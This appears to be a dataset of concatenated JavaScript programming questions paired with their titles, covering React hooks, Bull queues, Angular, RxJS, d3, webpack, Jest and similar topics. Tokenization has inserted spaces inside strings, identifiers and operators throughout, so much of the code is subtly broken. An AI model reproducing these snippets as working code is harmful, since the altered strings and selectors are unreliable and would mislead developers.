; import Size from '../index ' ; export default function Listing ( props ) { const [ title , setTitle ] = useState ( props.title ) ; const [ url , setUrl ] = useState ( props.url ) ; const value = useContext ( Size ) ; return ( < div > < Image url= { url } size= { value.size } / > < h1 > { title } < /h1 > < form > < input id='URL ' type='text ' / > < button onClick= { e = > { e.preventDefault ( ) ; setUrl ( document.getElementById ( 'URL ' ) .value ) ; setTitle ( document.getElementById ( 'URL ' ) .value ) ; } } > Submit < /button > < /form > < /div > ) ; } import React from 'react ' ; export default class Image extends React.Component { //console.log ( props.size ) ; constructor ( props ) { super ( props ) ; this.url = props.url ; this.size = props.size ; } render ( ) { return < img src= { this.url } style= { { height : this.size + 'px ' } } alt= '' / > ; } } `` `",useState hook not updating a value "JS : I 'm resizing a div with jQuery resizable and I only want to resize its height.I managed to only resize while dragging bottom helper : But if I hold shift key , width is changing . See http : //jsfiddle.net/6p20qjmr/3/How can I disable this behavior ? Edit : The div container width may change after initial resizable call . $ ( 'div ' ) .resizable ( { handles : 's ' , } ) ;",Do n't keep aspect ratio with jQuery resizable while holding shift "JS : I have two functions , scheduleScan ( ) and scan ( ) .scan ( ) calls scheduleScan ( ) when there 's nothing else to do except scheduling a new scan , so scheduleScan ( ) can schedule a scan ( ) . But there 's a problem , some jobs run twice.I want to make sure that only one job is being processed at any given time . How can I achieve that ? I believe it has something to do with done ( ) , ( it was in scan ( ) , removed now ) but I could n't come up with a solution.Bull version : 3.12.1Important late edit : scan ( ) calls another functions and they may or may not call other functions , but they 're all sync functions , so they only call a function when their own jobs are completed , there is only one way forward . At the end of the `` tree '' , I call it , the last function calls scheduleScan ( ) , but there ca n't be two simultaneous jobs running . Every single job starts at scan ( ) , by the way , and they end with scheduleScan ( stock , period , milliseconds , 'called by file.js ' ) export function update ( job ) { // does some calculations , then it may call scheduleScan ( ) or // it may call another function , and that could be the one calling // scheduleScan ( ) function . // For instance , a function like finalize ( ) } export function scan ( job ) { update ( job ) } import moment from 'moment'import stringHash from 'string-hash'const opts = { redis : { port : 6379 , host : '127.0.0.1 ' , password : mypassword ' } } let queue = new Queue ( 'scan ' , opts ) queue.process ( 1 , ( job ) = > { job.progress ( 100 ) .then ( ( ) = > { scan ( job ) } ) } ) export function scheduleScan ( stock , period , milliseconds , triggeredBy ) { let uniqueId = stringHash ( stock + ' : ' + period ) queue.getJob ( uniqueId ) .then ( job = > { if ( ! job ) { if ( milliseconds ) { queue.add ( { stock , period , triggeredBy } , { delay : milliseconds , jobId : uniqueId } ) .then ( ( ) = > { // console.log ( 'Added with ms : ' + stock + ' ' + period ) } ) .catch ( err = > { if ( err ) { console.log ( 'Can not add because it exists ' + new Date ( ) ) } } ) } else { queue.add ( { stock , period , triggeredBy } , { jobId : uniqueId } ) .then ( ( ) = > { // console.log ( 'Added without ms : ' + stock + ' ' + period ) } ) .catch ( err = > { if ( err ) { console.log ( 'Can not add because it exists ' + new Date ( ) ) } } ) } } else { job.getState ( ) .then ( state = > { if ( state === 'completed ' ) { job.remove ( ) .then ( ( ) = > { if ( milliseconds ) { queue.add ( { stock , period , triggeredBy } , { delay : milliseconds , jobId : uniqueId } ) .then ( ( ) = > { // console.log ( 'Added with ms : ' + stock + ' ' + period ) } ) .catch ( err = > { if ( err ) { console.log ( 'Can not add because it exists ' + new Date ( ) ) } } ) } else { queue.add ( { stock , period , triggeredBy } , { jobId : uniqueId } ) .then ( ( ) = > { // console.log ( 'Added without ms : ' + stock + ' ' + period ) } ) .catch ( err = > { if ( err ) { console.log ( 'Can not add because it exists ' + new Date ( ) ) } } ) } } ) .catch ( err = > { if ( err ) { // console.log ( err ) } } ) } } ) .catch ( err = > { // console.log ( err ) } ) } } ) }",How can I make sure that a job does n't run twice in Bull ? "JS : I have enabled Content Security Policy meteor package meteor/browser-policy-commonNow I 'm getting this error from ostrio : files related to CSP Refused to create a worker from 'blob : http : //localhost:3000/ef628f55-736b-4b36-a32d-b1056adfaa8c ' because it violates the following Content Security Policy directive : `` default-src 'self ' http : //fonts.googleapis.com https : //fonts.googleapis.com http : //fonts.gstatic.com https : //fonts.gstatic.com http : //code.ionicframework.com https : //code.ionicframework.com '' . Note that 'worker-src ' was not explicitly set , so 'default-src ' is used as a fallback.My actual browser-policy-common config looks like thisCan you tell me which config should I change to allow ostrio : files blob : http : //localhost:3000/ ... to work ? Thanks a lot ! import { BrowserPolicy } from 'meteor/browser-policy-common ' ; // e.g. , BrowserPolicy.content.allowOriginForAll ( 's3.amazonaws.com ' ) ; // BrowserPolicy.content.allowFontOrigin ( `` data : '' ) ; BrowserPolicy.framing.disallow ( ) ; BrowserPolicy.content.disallowInlineScripts ( ) ; BrowserPolicy.content.disallowEval ( ) ; BrowserPolicy.content.allowInlineStyles ( ) ; BrowserPolicy.content.allowFontDataUrl ( ) ; const trusted = [ 'fonts.googleapis.com ' , 'fonts.gstatic.com ' , 'code.ionicframework.com ' , ] ; _.each ( trusted , ( origin ) = > { BrowserPolicy.content.allowOriginForAll ( origin ) ; } ) ;",Meteor BrowserPolicy enable 'blob : ' origins "JS : I 'm trying to encapsulate my element ids by adding the instance id like this : I previously worked with this : https : //stackoverflow.com/a/40140762/12858538.But after upgrading Angular from 7 to 9 this seems deprecated . I was thinking about a simple helper service , which would generate unique ids for my app.Something like this : inspired by lodash uniqueidBut I did rather use angulars build in ids.So my currently solution is to extract the id from the components _nghost attribute.But I 'm not perfectly happy with this solution and I 'm looking for a direct access to the id.Does anyone know how to access this ? < label for= '' id- { { unique } } -name '' > < /label > < input id= '' id- { { unique } } -name '' type= '' text '' formControlName= '' name '' > @ Injectable ( ) export class UniqueIdService { private counter = 0 constructor ( ) { } public getUniqueId ( prefix : string ) { const id = ++this.counter return prefix + id } } constructor ( private element : ElementRef , ) { const ngHost = Object.values ( this.element.nativeElement.attributes as NamedNodeMap ) .find ( attr = > attr.name.startsWith ( '_nghost ' ) ) .name this.unique = ngHost.substr ( ngHost.lastIndexOf ( '- ' ) + 1 ) }",How to access components unique encapsulation ID in Angular 9 "JS : I created an observable , which will fire 3 seconds after the last change is made , and calls the publishChange of the service . It works , but I would like to create a doImmediateChange function , which calls publishChange immediately and stops the debounced observable . How is that possible ? My component : class MyComponent { private updateSubject = new Subject < string > ( ) ; ngOnInit ( ) { this.updateSubject.pipe ( debounceTime ( 3000 ) , distinctUntilChanged ( ) ) .subscribe ( val = > { this.srv.publishChange ( val ) ; } ) ; } doChange ( val : string ) { this.updateSubject.next ( val ) ; } doImmediateChange ( val : string ) { // Stop the current updateSubject if debounce is in progress and call publish immediately // ? ? this.srv.publishChange ( val ) ; } }",How is it possible to stop a debounced Rxjs Observable ? "JS : The task is to rotate figure with d3 , PowerPoint-like way : Got this example , trying to achieve the same behaviour . Ca n't understand , where the mistake is - figure is shaking , is not rotating the way it should . Here 's a JSFiddle and alternatively , a snippet view : Thanks in advance ! function dragPointRotate ( rotateHandleStartPos ) { rotateHandleStartPos.x += d3.event.dx ; rotateHandleStartPos.y += d3.event.dy ; const updatedRotateCoordinates = r // calculates the difference between the current mouse position and the center line var angleFinal = calcAngleDeg ( updatedRotateCoordinates , rotateHandleStartPos ) ; // gets the difference of the angles to get to the final angle var angle = rotateHandleStartPos.angle + angleFinal - rotateHandleStartPos.iniAngle ; // converts the values to stay inside the 360 positive angle % = 360 ; if ( angle < 0 ) { angle += 360 ; } // creates the new rotate position array var rotatePos = [ angle , updatedRotateCoordinates.cx , updatedRotateCoordinates.cy , ] ; r.angle = angle d3.select ( ` # group ` ) .attr ( 'transform ' , ` rotate ( $ { rotatePos } ) ` ) } const canvas = document.getElementById ( 'canvas ' ) d3.select ( canvas ) .append ( 'svg ' ) .attr ( 'width ' , '500 ' ) .attr ( 'height ' , '500 ' ) .append ( ' g ' ) .attr ( 'id ' , 'group ' ) .append ( 'rect ' ) .attr ( 'width ' , '100 ' ) .attr ( 'height ' , '100 ' ) .attr ( ' x ' , '100 ' ) .attr ( ' y ' , '100 ' ) d3.select ( ' # group ' ) .append ( 'circle ' ) .attr ( ' r ' , '10 ' ) .attr ( 'cx ' , '150 ' ) .attr ( 'cy ' , '80 ' ) .call ( d3.drag ( ) .on ( 'start ' , startRotation ) .on ( 'drag ' , rotate ) ) let rotateHandleStartPos , r = { angle : 0 , cx : 0 , cy : 0 } function startRotation ( ) { const target = d3.select ( d3.event.sourceEvent.target ) r.cx = getElementCenter ( ) .x r.cy = getElementCenter ( ) .y let updatedRotateCoordinates = r // updates the rotate handle start posistion object with // basic information from the model and the handles rotateHandleStartPos = { angle : r.angle , // the current angle x : parseFloat ( target.attr ( 'cx ' ) ) , // the current cx value of the target handle y : parseFloat ( target.attr ( 'cy ' ) ) , // the current cy value of the target handle } ; // calc the rotated top & left corner if ( rotateHandleStartPos.angle > 0 ) { var correctsRotateHandleStartPos = getHandleRotatePosition ( rotateHandleStartPos ) ; rotateHandleStartPos.x = correctsRotateHandleStartPos.x ; rotateHandleStartPos.y = correctsRotateHandleStartPos.y ; } // adds the initial angle in degrees rotateHandleStartPos.iniAngle = calcAngleDeg ( updatedRotateCoordinates , rotateHandleStartPos ) ; } function rotate ( ) { dragPointRotate ( rotateHandleStartPos ) } function getElementCenter ( ) { const box = document.querySelector ( ' # group > rect ' ) .getBBox ( ) return { x : box.x + box.width / 2 , y : box.y + box.height / 2 , } } function getHandleRotatePosition ( handleStartPos ) { // its possible to use `` cx/cy '' for properties var originalX = handleStartPos.x ? handleStartPos.x : handleStartPos.cx ; var originalY = handleStartPos.y ? handleStartPos.y : handleStartPos.cy ; // gets the updated element center , without rotatio var center = getElementCenter ( ) ; // calculates the rotated handle position considering the current center as // pivot for rotation var dx = originalX - center.x ; var dy = originalY - center.y ; var theta = ( handleStartPos.angle * Math.PI ) / 180 ; return { x : dx * Math.cos ( theta ) - dy * Math.sin ( theta ) + center.x , y : dx * Math.sin ( theta ) + dy * Math.cos ( theta ) + center.y , } ; } // gets the angle in degrees between two points function calcAngleDeg ( p1 , p2 ) { var p1x = p1.x ? p1.x : p1.cx ; var p1y = p1.y ? p1.y : p1.cy ; return ( Math.atan2 ( p2.y - p1y , p2.x - p1x ) * 180 ) / Math.PI ; } function dragPointRotate ( rotateHandleStartPos ) { rotateHandleStartPos.x = d3.event.x ; rotateHandleStartPos.y = d3.event.y ; const updatedRotateCoordinates = r // calculates the difference between the current mouse position and the center line var angleFinal = calcAngleDeg ( updatedRotateCoordinates , rotateHandleStartPos ) ; // gets the difference of the angles to get to the final angle var angle = rotateHandleStartPos.angle + angleFinal - rotateHandleStartPos.iniAngle ; // converts the values to stay inside the 360 positive angle % = 360 ; if ( angle < 0 ) { angle += 360 ; } // creates the new rotate position array var rotatePos = [ angle , updatedRotateCoordinates.cx , updatedRotateCoordinates.cy , ] ; r.angle = angle d3.select ( ` # group ` ) .attr ( 'transform ' , ` rotate ( $ { rotatePos } ) ` ) } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/d3/5.7.0/d3.min.js '' > < /script > < div id= '' canvas '' > < /div >",How to rotate figure in D3 ? "JS : I 'm building an app with a dark mode switch . It works on the first click , but after that , it works on every second click . ( this snippet shows a checkbox . In the project , it looks like a real switch ) Any idea how I can get it to work on a single click ? const body = document.getElementById ( 'body ' ) ; let currentBodyClass = body.className ; const darkModeSwitch = document.getElementById ( 'darkModeSwitch ' ) ; //Dark Modefunction darkMode ( ) { darkModeSwitch.addEventListener ( 'click ' , ( ) = > { if ( currentBodyClass === `` lightMode '' ) { body.className = currentBodyClass = `` darkMode '' ; } else if ( currentBodyClass === `` darkMode '' ) { body.className = currentBodyClass = `` lightMode '' ; } } ) ; } # darkModeSwitch { position : absolute ; left : 15px ; top : 15px ; } .darkMode { background-color : black ; transition : ease .3s ; } .lightMode { background-color : # FFF ; transition : ease .3s ; } # darkModeSwitch input [ type= '' checkbox '' ] { width : 40px ; height : 20px ; background : # fff89d ; } # darkModeSwitch input : checked [ type= '' checkbox '' ] { background : # 757575 ; } # darkModeSwitch input [ type= '' checkbox '' ] : before { width : 20px ; height : 20px ; background : # fff ; } # darkModeSwitch input : checked [ type= '' checkbox '' ] : before { background : # 000 ; } < body id= '' body '' class= '' lightMode '' > < div id= '' darkModeSwitch '' > < input type= '' checkbox '' onclick= '' darkMode ( ) '' title= '' Toggle Light/Dark Mode '' / > < /div > < /body >",How to get my Dark Mode switch to work on each click ? "JS : Scenario : Whenever user sign in using incorrect credentials , a bootstrap modal appears for 1-2 second with message `` sorry , incorrect credentials '' . Below is the HTML of the modal.I need to verify if the expected error text is equal to actual error text.My codePageObject.jsSpec.jsOutput Message : Expected `` to match 'Sorry , invalid credentials ! '.I dont know why this wait is not working . < div class= '' modal-content '' > < div class= '' modal-body note-error text-center ng-binding '' > Sorry , invalid credentials ! < /div > < /div > var errorModal = element ( by.css ( '.modal-body.note-error.text-center.ng-binding ' ) ) ; this.getErrorText = function ( ) { var until = protractor.ExpectedConditions ; browser.wait ( until.textToBePresentInElement ( errorModal , `` Sorry , invalid credentials ! `` ) , 3000 , `` Not able to find '' ) ; return errorModal.getText ( ) ; } ; expect ( Login_Page.getErrorText ( ) ) .toMatch ( 'Sorry , invalid credentials ! ' ) ;",Protractor wait command is not able to wait for the bootstrap modal to appear JS : I am trying to invert a chart through code in Highcharts.I am setting the chart inverted property : You can see the code I am using here : http : //jsfiddle.net/Wajood/Hz4bH/This does n't invert the chart . It seems to me that the redraw ( ) function does n't seem to care for the inverted property.Any help/suggestions/tips in the matter will be appreciated.Thanks . chart.inverted = true ; chart.redraw ( ) ;,How to invert a chart in Highcharts through code ? "JS : Do we have multiple ( different ) global objects in a multi-frame frameset HTML ? It 's common to use : where window is a property of the [ [ global ] ] object like self is , and both are references to [ [ global ] ] object itself . But , if window.top refers to the topmost window frame object and therefore to the [ [ global ] ] object , how many [ [ global ] ] objects do we have ? Or maybe the window DOM part is changed only ? if ( window.top ! = window.self ) { alert ( `` We 're in a frame '' ) ; }",JavaScript - multiple global objects in multiple HTML frames ? "JS : I 'm trying to import a set of coordinates from an external javascript.I have to include about 78.740 elements in the constructor , but firefox just throws an error : '' too many constructor arguments '' Does anybody have any ideas ? This is my code : function CreateArray ( ) { return new Array ( ... ... ... 78.740 elements later ... ) ; }",javascript too many constructor arguments "JS : According to this MDN page , the delete keyword Returns false only if the property exists and can not be deleted . It returns true in all other cases.However , I see cases where delete returns true , despite the property not being deleted : In fact , almost all properties of window return true with delete , as can be seen by the running the following script in about : blank : However , most properties of window do not actually get deleted . What is the true meaning of the returned value of delete ? Why does it return true for properties it does n't delete ? ( Note : I would be interested in references to Chromium code explaining the behaviour of delete . ) delete Windowdelete alertdelete dirdelete consoledelete 2delete nulldelete { } .x ... for ( a in window ) { if ( delete window [ a ] ) { console.log ( a ) ; } }",What is the true meaning of the returned value of ` delete ` ? "JS : I have a JSON object having nested nodes , which can go on for any number of level . I need to display the content of a node on click of it 's parent 's node . It would look something like this I have done something like this for two levels : Is there a way to generalize this solution to any number of level ? ? `` node '' : [ { `` id '' : `` id of the concept model '' , `` name '' : `` Curcumin '' , `` type '' : `` conceptmodel '' , `` node '' : [ { `` id '' : `` group1 '' , `` name '' : `` Node 01 '' , `` weight '' : `` 70 '' , `` type '' : `` text '' , `` node '' : [ { `` id '' : `` group11 '' , `` name '' : `` Node 02 '' , `` weight '' : `` 70 '' , `` type '' : `` structure '' , `` node '' : [ ] } ] } ] } , { `` id '' : `` id of the concept model '' , `` name '' : `` Abuse Resistent Technology '' , `` type '' : `` conceptmodel '' , `` node '' : [ { `` id '' : `` group1 '' , `` name '' : `` Category 01 '' , `` weight '' : `` 70 '' , `` type '' : `` text '' , `` node '' : [ ] } ] } , { `` id '' : `` id of the concept model '' , `` name '' : `` PC in Aviation '' , `` type '' : `` conceptmodel '' , `` node '' : [ { `` id '' : `` group1 '' , `` name '' : `` Industry '' , `` weight '' : `` 70 '' , `` type '' : `` text '' , `` node '' : [ { `` id '' : `` group1 '' , `` name '' : `` Node 01 '' , `` weight '' : `` 70 '' , `` type '' : `` text '' , `` node '' : [ ] } ] } ] } ] < div class= '' conceptModels '' > < ! -- tree starts -- > < ul class= '' tree '' > < span class= '' treeBlk '' > < li ng-repeat= '' conceptModel in conceptModels.node '' > < span ng-click= '' levelOne=true '' class= '' textSpan show top '' > { { conceptModel.name } } < span class= '' arrclose '' > < /span > < /span > < ul ng-show= '' levelOne '' > < li ng-repeat= '' node1 in conceptModel.node '' > < span ng-click= '' levelTwo=true '' class= '' textSpan '' > { { node1.name } } < span class= '' arrclose '' > < /span > < /span > < ul ng-show= '' levelTwo '' > < li ng-repeat= '' node2 in node1.node '' > < span class= '' textSpan '' > { { node2.name } } < span class= '' arrclose '' > < /span > < /span > < /li > < /ul > < /li > < /ul > < /li > < /span > < /ul > < /div >",How to put ng-repeat inside ng-repeat for n number of times JS : I 'm working on a plate tectonics simulator that uses a repurposed flood fill algorithm in order to detect continents . The algorithm is much the same . The only difference is that it works with vertices instead of pixels.I 've been trying to improve the quality of this behavior - I 'd like to see how it performs when it ignores pixels/vertices with two neighbors or fewer with continental crust . Is there any existing variant of the flood fill algorithm that supports this ? My ( somewhat simplified ) code is as follows : var group = [ ] ; var stack = [ initialVertex ] ; while ( stack.length > 0 ) { var next = stack.pop ( ) ; if ( group.indexOf ( next ) ! = -1 & & isContinental ( next ) ) { group.push ( next ) ; stack = stack.concat ( getNeighbors ( next ) ) ; } } return group,Flood fill algorithm selecting pixels with a minimum number of neighbors "JS : I am working on an application in Sails.js , and I ran across an authentication error when trying to create user accounts . I was not able to debug my problem , so I decided to update Node , and NPM . Now , a different error is thrown.I made the mistake of not updating either node , and npm in quite some time . I did npm install ini . npm states that the installation was successful , however when I lift sails again , the same error is thrown . I tested another Sails project that I know works correctly , and I am getting the same error . I completely uninstalled node and npm , and reinstalled them , with no luck.I removed the node_modules folder , and ran npm install , and got the same error.I deleted both project folders , and re-cloned them from Github , but the failure is still there.Out of desperation , I attempted to downgrade my version of node and npm , but oddly enough , I still got the same error.The error was only present after I updated node . It makes no sense when I downgrade Node , the error persists.Any assistance is greatly appreciated . module.js:338 throw err ; ^Error : Can not find module 'ini ' at Function.Module._resolveFilename ( module.js:336:15 ) at Function.Module._load ( module.js:278:25 ) at Module.require ( module.js:365:17 ) at require ( module.js:384:17 ) at Object. < anonymous > ( /usr/local/lib/node_modules/sails/node_modules/rc/lib/utils.js:2:12 ) at Module._compile ( module.js:460:26 ) at Object.Module._extensions..js ( module.js:478:10 ) at Module.load ( module.js:355:32 ) at Function.Module._load ( module.js:310:12 ) at Module.require ( module.js:365:17 )","After Node / Npm Update , Sails.js unable to find module 'ini '" "JS : On frontend I use AngularJS `` $ resource '' for the GET request and on the Backend I use SpringMVC to expose my methods Restful way.Now I want to cache only some of my GET requests . I noticed there are some ways to do that like using the $ cacheFactory . Or something like : Please note that this could also be a simple ajax call with some cache parameters and not necessarly using the angularJS . So instead of on the client using such an approach , I wonder it can be done on the server simply by Java setting the caching just in the Response header some thing like this : What are the difference of these two approaches ? which approach should be used when ? P.S this question is NOT a server side caching vs client side caching question , I simply set the HTTPResponse header in the server that 's all . return { Things : $ resource ( 'url/to/ : thing ' , { } , { list : { method : 'GET ' , cache : true } } ; response.setHeader ( `` Cache-Control : max-age=2592000 '' ) ;",What is the difference between caching via Javascript vs setting HTTPResponse header in Server "JS : wI 'm unsure which is the better namespace convention to use.orwindow.App and var App are both global variables so both conventions achieve the same outcome , but which is better ? var App = { } ; // global variable , the root of our namespace ( function ( ) { App.something = function ( ) { } } ) ( ) ; ( function ( ) { window.App = { } ; //global variable , the root of our namespace App.something = function ( ) { } } ) ( ) ;",Javascript namespacing convention "JS : I have an array of arrays.I want to pick random array from the 'ArrOfarr ' each time I click a button . I tried the below , but seeing 'undefined ' : how can I pick up random array form the above Array ( Without repeat till it reaches its length ) .And how can I get the name of randomly picked array ? var ArrOfarr = { A1 : [ `` choice '' , `` choice2 '' , `` choice3 '' ] , A2 : [ `` choice1 '' , `` choice2 '' ] , A3 : [ `` choice1 '' , `` choice2 '' ] , A4 : [ ] , A5 : [ ] , A6 : [ ] , A7 : [ ] } function A ( ) { var item = ArrOfarr [ Math.floor ( Math.random ( ) *ArrOfarr.length ) ] ; alert ( item ) ; }",Pick random Array from array of arrays in javascript "JS : Suppose we create a typescript class with two static methods : Later someone imports our class from the npm package @ scope/utilities and uses only methodFoo like thisIf we use rollup to publish the above as an optimized / 'treeshaken ' module , will rollup be able to shave off methodBoo ? export class Utilities { static methodFoo ( ) { return 'foo ' } static methodBoo ( ) { return 'boo ' } } import { Utilities } from ' @ scope/utilities ' ; let pityTheFoo = Utilities.methodFoo ( ) ;",Are static typescript class methods tree shakeable by rollup ? "JS : I 've got an array with audio-files , to play all one by one.I 'm using a javascript player , that will play the audio and provides a callback when finished.But my problem now , how to do this one by one . The snippet above will start several audio-files and play them parallel . What is the best solution , to wait until a callback is fired ? for ( i = 0 ; i < audioFiles.length ; i++ ) { PlayAudio ( audioFiles [ i ] , function ( ) { alert ( 'complete file # ' + i ) ; } ) ; }",Wait until callback "JS : This code is supposed to pop up an alert with the number of the image when you click it : You can see it not working at http : //jsfiddle.net/upFaJ/ . I know that this is because all of the click-handler closures are referring to the same object i , so every single handler pops up `` 10 '' when it 's triggered . However , when I do this , it works fine : You can see it working at http : //jsfiddle.net/v4sSD/.Why does it work ? There 's still only one i object in memory , right ? Objects are always passed by reference , not copied , so the self-executing function call should make no difference . The output of the two code snippets should be identical . So why is the i object being copied 10 times ? Why does it work ? I think it 's interesting that this version does n't work : It seems that the passing of the object as a function parameter makes all the difference.EDIT : OK , so the previous example can be explained by primitives ( i ) being passed by value to the function call . But what about this example , which uses real objects ? Not working : http : //jsfiddle.net/Zpwku/Working : http : //jsfiddle.net/YLSn6/ for ( var i=0 ; i < 10 ; i++ ) { $ ( `` # img '' + i ) .click ( function ( ) { alert ( i ) ; } ) ; } for ( var i=0 ; i < 10 ; i++ ) { ( function ( i2 ) { $ ( `` # img '' + i2 ) .click ( function ( ) { alert ( i2 ) ; } ) ; } ) ( i ) ; } for ( var i=0 ; i < 10 ; i++ ) { ( function ( ) { $ ( `` # img '' + i ) .click ( function ( ) { alert ( i ) ; } ) ; } ) ( ) ; } for ( var i=0 ; i < 5 ; i++ ) { var toggler = $ ( `` < img/ > '' , { `` src '' : `` http : //www.famfamfam.com/lab/icons/silk/icons/cross.png '' } ) ; toggler.click ( function ( ) { toggler.attr ( `` src '' , `` http : //www.famfamfam.com/lab/icons/silk/icons/tick.png '' ) ; } ) ; $ ( `` # container '' ) .append ( toggler ) ; } for ( var i=0 ; i < 5 ; i++ ) { var toggler = $ ( `` < img/ > '' , { `` src '' : `` http : //www.famfamfam.com/lab/icons/silk/icons/cross.png '' } ) ; ( function ( t ) { t.click ( function ( ) { t.attr ( `` src '' , `` http : //www.famfamfam.com/lab/icons/silk/icons/tick.png '' ) ; } ) ; $ ( `` # container '' ) .append ( t ) ; } ) ( toggler ) ; }",Why are objects ' values captured inside function calls ? "JS : It seems that the strict equality operator is preferred whenever possible - I put my code in JSLint and got the following feedback.Code : Feedback from JSLint : I am curious to know what advantages === has over == here . Basically , .length returns a Number , and 1 is a Number as well . You can be 100 % sure , so === is just a redundant extra token . Also , checking for the type whilst you know the types will always be the same has no performance advantage either.So what 's actually the reason behind using === here ? function log ( ) { console.log ( arguments.length == 1 ? arguments [ 0 ] : arguments ) ; } Problem at line 2 character 34 : Expected '=== ' and instead saw '== ' .",Why use === when you are sure types are equal ? "JS : I am getting slightly confused about all this ... Chrome and Firefox both tell me different things , and I could n't find any part in the spec that mentioned it , but : in Chrome : in FireFox : of course , an initialised new Worker ( ) is both a Worker and an Object , but why is the Worker constructor not a function ? Object instanceof Function // trueFunction instanceof Object // trueWorker instanceof Object // trueWorker instanceof Function // false < - WTF ? ? ? Object instanceof Function // trueFunction instanceof Object // trueWorker instanceof Object // falseWorker instanceof Function // false",What type of object is 'Worker ' in JavaScript "JS : I 'm working with percentage and the setInterval ( ) so I have a But actually if the user set the # prc input to 50.345.34 , the attempt < = prc condition always returns true . I tried to console.log ( isNaN ( prc ) ) when this input is set to a number like 50.345.34 and it always returns false . Why is it considered as a numeric value ? var intervalId ; function randomize ( ) { var prc = $ ( `` # prc '' ) .val ( ) ; var c = 0 ; if ( ! intervalId ) { intervalId = setInterval ( function ( ) { c = c + 1 ; var attempt = Math.random ( ) * 100 ; if ( attempt < = prc ) { clearInterval ( intervalId ) ; intervalId = false ; $ ( `` # attemptnbr '' ) .val ( c ) ; } } , 100 ) ; } } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js '' > < /script > Percentage : < input type= '' text '' id= '' prc '' / > < button onclick= '' randomize ( ) '' > GO < /button > Number of attempts : < input type= '' text '' id= '' attemptnbr '' / >","isNaN ( ) javascript , number with 2 commas" "JS : I 've written a JavaScript program that calculates the depth of a binary tree based on the number of elements . My program has been working fine for months , but recently I 've found a difference when the web page is viewed in Chrome vs Firefox.In particular , on Firefox : but now in Chrome : My JavaScript program was originally written to find the depth of the binary tree based on the number of elements as : I made a simple modification to this formula so that it will still work correctly on Chrome : I have 2 questions : Has anyone else noticed a change in the precision in Chrome recently for Math.log2 ? Is there a more elegant modification than the one I made above by adding epsilon ? Math.log2 ( 8 ) = 3 Math.log2 ( 8 ) = 2.9999999999999996 var tree_depth = Math.floor ( Math.log2 ( n_elements ) ) + 1 ; var epsilon = 1.e-5 ; var tree_depth = Math.floor ( Math.log2 ( n_elements ) + epsilon ) + 1 ;",Math.log2 precision has changed in Chrome "JS : I 'm currently studying lazy evaluation in conjunction with monads in Javascript and what use cases may evolve from these . So I tried to implement a lazy type , which implements the functor/monad type class . The corresponding constructor is meant to be lazy in its arguments and in its result . Here is what I came up with : Now this evidently makes no sense , since the action sequence is n't lazy at all . Lazy.join simply triggers the evaluation prematurely . Hence , the following questions have emerged : are sequences of monadic actions in Haskell always eagerly evaluated ? is lazy evaluation an effect that can not be implemented by a monad in a strictly evaluated language ? I am not even sure if my research makes any sense , so feel free to vote for closing this question . // a lazy type// ( ( ) - > a ) - > ( ) - > bconst Lazy = thunk = > ( ) = > thunk ( ) ; // ( b - > a - > b ) - > b - > Lazy a - > bLazy.fold = f = > acc = > tx = > f ( acc ) ( tx ( ) ) ; // ( a - > b ) - > Lazy a - > Lazy bLazy.map = f = > tx = > Lazy ( ( ) = > f ( tx ( ) ) ) ; // Lazy ( a - > b ) - > Lazy a - > Lazy bLazy.ap = tf = > tx = > Lazy ( ( ) = > tf ( ) ( tx ( ) ) ) ; Lazy.of = Lazy ; // Lazy ( Lazy a ) - > Lazy aLazy.join = ttx = > ttx ( ) ; // ( a - > Lazy b ) - > Lazy a - > Lazy bLazy.chain = ft = > tx = > Lazy.join ( Lazy.map ( ft ) ( tx ) ) ; // recursive bind ( or chain in Javascript ) // Number - > ( a - > b ) - > a - > Lazy bconst repeat = n = > f = > x = > { const aux = m = > y = > m === 0 ? Lazy ( ( ) = > y ) : Lazy.chain ( aux ( m - 1 ) ) ( Lazy ( ( ) = > f ( y ) ) ) ; return aux ( n ) ( x ) ; } ; // impure function to observe the computationconst inc = x = > ( console.log ( ++x ) , x ) ; // and runconsole.log ( repeat ( 5 ) ( inc ) ( 0 ) ) ; // logs 1 , 2 , 3 , 4 , 5 , ( ) = > thunk ( )",Can lazy evaluation be implemented by a monadic type ? "JS : I am trying to shuffle an array using a cryptographically secure source of entropy.I found a similar question , regarding shuffling arrays here How to randomize ( shuffle ) a JavaScript array ? . However almost all solutions make use of Math.random , which is not secure.Unfortunately I do not have the reputation to comment/post on that question.Here is the solution I came up with , which uses Durstenfeld shuffling paired with a CSPRNG for generating random integers in a given range ( provided by random-number-csprng lib ) .Is this implementation correct and unbiased ? notes : for my purposes the array would contain at most ~100 elementsrunning nodejs v6.10.3 LTS ( transpiled ) const randomNumber = require ( `` random-number-csprng '' ) ; async function secureShuffleArray ( array ) { for ( let i = array.length - 1 ; i > 0 ; i -- ) { const j = await randomNumber ( 0 , i ) ; const temp = array [ i ] ; array [ i ] = array [ j ] ; array [ j ] = temp ; } }",Cryptographically secure array shuffle "JS : I 'm trying to use CommonChunkPlugin with one `` extra '' chunk containing only webpack runtime to get proper hashing ( this does n't change vendor hash when only app files have changed ) . The trick is described in official webpack repo here . This itself works fine , chunk hashes are correct , but the issue is that my HTML file generated has bundles in wrong order : manifest , app and then vendor* , whereas it should be manifest , vendor , app.CommonsChunkPLugin is configured as follows : and entries are as follows : Any tips ? new webpack.optimize.CommonsChunkPlugin ( { names : [ 'vendor ' , 'manifest ' ] } ) , entry : { app : './index.js ' , vendor : [ 'foo ' , 'bar ' , 'baz ' ] }",Webpack with CommonsChunkPlugin results with wrong bundle order in html file "JS : I 'm using debugging jest with vscode config , here is launch.json configurations : This configurations worked properly until I updated VSCode to 1.32.1 . Now when I run Jest current file , the console prints out like this : Any help would be appreciated , thanks in advance . { `` version '' : `` 0.2.0 '' , `` configurations '' : [ { `` type '' : `` node '' , `` request '' : `` launch '' , `` name '' : `` Jest Current File '' , `` program '' : `` $ { workspaceFolder } /node_modules/.bin/jest '' , `` args '' : [ `` $ { relativeFile } '' ] , `` env '' : { `` cross-env '' : `` 1 '' , `` NODE_PATH '' : `` ./src '' , `` __PLATFORM__ '' : `` WEB '' , } , `` runtimeArgs '' : [ ] , `` console '' : `` integratedTerminal '' , `` internalConsoleOptions '' : `` neverOpen '' , `` windows '' : { `` program '' : `` $ { workspaceFolder } /node_modules/jest/bin/jest '' , } } ] } Debugger attached.No tests foundIn D : \workspace\my-project 747 files checked . testMatch : - 747 matches testPathIgnorePatterns : \\node_modules\\ - 747 matches testRegex : ( \\__tests__\\ . *| ( \.|\\ ) ( test ) ) 